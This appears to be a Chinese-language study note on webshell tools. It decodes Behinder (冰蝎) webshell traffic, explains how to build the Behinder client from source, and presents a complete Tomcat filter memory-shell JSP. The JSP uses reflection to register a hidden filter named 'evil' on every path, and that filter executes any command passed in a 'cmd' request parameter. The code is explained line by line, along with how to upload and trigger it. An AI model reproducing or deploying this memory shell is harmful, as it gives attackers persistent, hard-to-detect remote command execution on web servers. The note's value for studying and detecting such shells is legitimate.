TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd9eghDQVwxLhN6M2NDdiAhfXo2B0BcAwQKejN3Rh4DHFtQBFBbXAcCCh4BTURALSRTUlV4e3YxKxYeAVhaejVTXh4yel4SMTUWHgVgQEwgJ2VPAgd+bDAhL2Exd3FSUi59cCgFanEkCgF9KglWYjBQbHMBa2RAIgsPWjBXXwNVCUJvMH1xXlYuL18lQH9MWhJ6Zl1Lf1AnAi9hKQ9/TycCfXYkVGJ8NC83X1Bee3YjAn12JFR7eicCLlJUcn9fIxx5TF1EfGpeHS9cJV5/YS9TeU8gVHt6JwIycDZzZ19WAn12JFR7eicCK3YlXn5cVit3XyxEf203Ey9xLU9/XwECfXEsSX1TJxwrdiVee3YjAn12JFR7eicCL18hSn9fIx19chJGUX4OEiZkC0B/cScfeE8kAn5DJ1ArdiVAf3ENVHpcJFR7eicCK3YlXnt2IwJ9diRUe3onHC9MJk5TfSAVVlg/RX5XJAoBdFRyf18jHHlcXUR/QF4SLHYlXn9hN1N5TwJUe3onAjJwNnNnX1YCfXYkVHt6JwIrdiVeUXIKEmBtCXFoflcVAFJUcn9fIxx5TF1EfGpeHS9mJV5/YTNTenEoVHt6JwIrdiVee3YjAn12JFR7eicfL2EtXlEHCglWchJGUX4OEiZkC0B/cSsfeE8kAn5DIxwrdiVBf18NEnpMJFR7eicCK3YlXnt2IwJ9diRUe30vHCxcJkNTcjQWVnEsRlF+DhImZAtee3YjAn12JFR7eicCK3YlXnt2I1V9ejYHQ0wHMgoeNw5GXCMCfXYkVHt6JwIrcS1BfnEBV3lcIV9AYwAKC1otd3FcIwJ9diRUe3onAit2JV57diMCfXEoVAd1DxRXABFMB1dQM31xLEp+fT8cLGYTCH1hNxZ5Tw5Ke3YxNRAeAWxDejURWB4MeFVeVi5ASA==

先用冰蝎传输协议进行解密

{"status":"c3VjY2Vzcw==","msg":"IOmpseWKqOWZqCBDIOS4reeahOWNt+ayoeacieagh+etvuOAgg0KIOWNt+eahOW6j+WIl+WPt+aYryBBQzg4LUVDMTUNCg0KIEM6XHBocHN0dWR5XFdXVyDnmoTnm67lvZUNCg0KMjAyMy8wNS8xMiAgMTM6MzEgICAgPERJUj4gICAgICAgICAgLg0KMjAyMy8wNS8xMiAgMTM6MzEgICAgPERJUj4gICAgICAgICAgLi4NCjIwMTQvMDIvMjcgIDIzOjAyICAgICAgICAgICAgMjEsMjAxIGwucGhwDQoyMDEzLzA1LzA5ICAyMDo1NiAgICAgICAgICAgICAgICAyMyBwaHBpbmZvLnBocA0KMjAyMi8wMy8wNCAgMTU6MzggICAgPERJUj4gICAgICAgICAgcGhwTXlBZG1pbg0KMjAyMy8wNS8xMSAgMTQ6NDMgICAgICAgICAgICAgICAzMTIgc2hlbGwucGhwDQoyMDIzLzA1LzEyICAxMjowNyAgICAgICAgICAgICAgIDIyNiBzaGVsbDIucGhwDQogICAgICAgICAgICAgICA0IOS4quaWh+S7tiAgICAgICAgIDIxLDc2MiDlrZfoioINCiAgICAgICAgICAgICAgIDMg5Liq55uu5b2VIDIyLDYyNSw1OTUsMzkyIOWPr+eUqOWtl+iKgg0K"}

msg 字段使用 base 64 解码

源码安装

项目地址: https://github.com/MountCloud/BehinderClientSource

1)报错:Plugin 'maven-assembly-plugin:' not found

安装这个插件,在 pom 文件中安装

<!-- https://mvnrepository.com/artifact/org.apache.maven.plugins/maven-assembly-plugin -->
<dependency>
    <groupId>org.apache.maven.plugins</groupId>
    <artifactId>maven-assembly-plugin</artifactId>
    <version>3.3.0</version>
</dependency>

安装后还报错:

File -> Setting -> Build, Execution, Deployment -> Build Tools -> Maven -> 勾选Use plugin registry选项

File -> Invalidate Caches -> Invalidate and Restart

2)javafx 爆红

使用 oracle jdk 8 运行。

openjdk 不包含这个库,自己下载去吧。或者使用 oraclejdk 版本

内存马

常见函数

getClass ():返回此 Object 的运行时类。

获取ServletContext对象:

1.在javax.servlet.Filter中直接获取

ServletContext context = config.getServletContext();

2.在HttpServlet中直接获取

this.getServletContext()

3.在其他方法中,通过HttpRequest获得

request.getSession().getServletContext();

每个web工程都只有一个ServletContext对象,上述方式获得的ServletContext对象都是同一个.

tomcat filter 内存马

学习: https://xz.aliyun.com/t/10696#toc-1

创建一个 jsp 文件,用来创建 filter 内存马,写入代码如下。

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
	// 第一部分
    final String name = "evil";
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
	
    if (filterConfigs.get(name) == null){
    // 第二部分
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                System.out.println("Do Filter ......");
                String cmd;
                if ((cmd = servletRequest.getParameter("cmd")) != null) {
                    Process process = Runtime.getRuntime().exec(cmd);
                    java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                            new java.io.InputStreamReader(process.getInputStream()));
                    StringBuilder stringBuilder = new StringBuilder();
                    String line;
                    while ((line = bufferedReader.readLine()) != null) {
                        stringBuilder.append(line + '\n');
                    }
                    servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                    servletResponse.getOutputStream().flush();
                    servletResponse.getOutputStream().close();
                    return;
                }

                filterChain.doFilter(servletRequest,servletResponse);
                System.out.println("doFilter");
            }

            @Override
            public void destroy() {

            }

        };

		// 第三部分
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        /**
         * 将filterDef添加到filterDefs中
         */
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
    }
%>

第一部分详解:

利用反射获取我们想要的对象。第一次反射通过 ServletContext,得到ApplicationContext;第二次反射通过ApplicationContext,得到StandardContext;第三次反射通过StandardContext,得到filterConfigs

第二部分详解:

恶意 Filter 代码

第三部分详解: https://blog.csdn.net/weixin_45682070/article/details/122930587

了解 Filter 知识: https://www.runoob.com/w3cnote/filter-filterchain-filterconfig-intro.html

正常情况下,我们创建一个 Filter 后,需要在 web. xml 文件中进行注册和映射。第三部分就是用代码的形式进行 xml 文件中的配置操作。

filterDefs,filterMaps,filterConfigs。这三者

filterDefs:对应的就是注册。与之相对的是 xml 文件中的

    <filter>
        <filter-name>filterName</filter-name>
        <filter-class>xxx.xxx.filterName</filter-class>
    </filter>

filterMaps:对应的就是映射。用于设置一个 Filter 所负责拦截的资源

    <filter-mapping>
        <filter-name>filterName</filter-name>
        <url-pattern>/name</url-pattern>
    </filter-mapping>

filterConfigs:是 Filter 过滤器的配置文件类。Tomcat 每次创建 Filter 的时候,也会同时创建一个 FilterConfig 类,这里包含了 Filter 配置文件的配置信息。

		// 第三部分
		// 创建一个FilterDef 然后设置我们filterDef的名字,和类名,以及类
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());

		// 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中
        standardContext.addFilterDef(filterDef);

		// 创建一个filtermap,设置filter的名字和对应的urlpattern
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        
        // 这里用到的 javax.servlet.DispatcherType类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

		// 将filtermap 添加到 filterMaps 中的第一个位置
        standardContext.addFilterMapBefore(filterMap);

		// 利用反射创建 FilterConfig,并且将 filterDef 和 standardCtx(即 Context)作为参数进行传入
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);

上述 jsp 代码上传后执行。我们就有了一个名为“evil”的 filter 过滤器。这个过滤器所拦截的路径为 /*,访问这个 jsp 文件,然后访问任意一个路径,携带 cmd=calc 参数,就会执行这个命令。

在第一部分的代码当中有一个filterConfigs==,打印这个,可以看到我们添加的恶意 filter。正常情况下Tomcat WebSocket (JSR 356) Filter== 是在首位的,但是当我们运行了恶意代码,写入恶意 filter 之后,恶意 filter 就会在首位了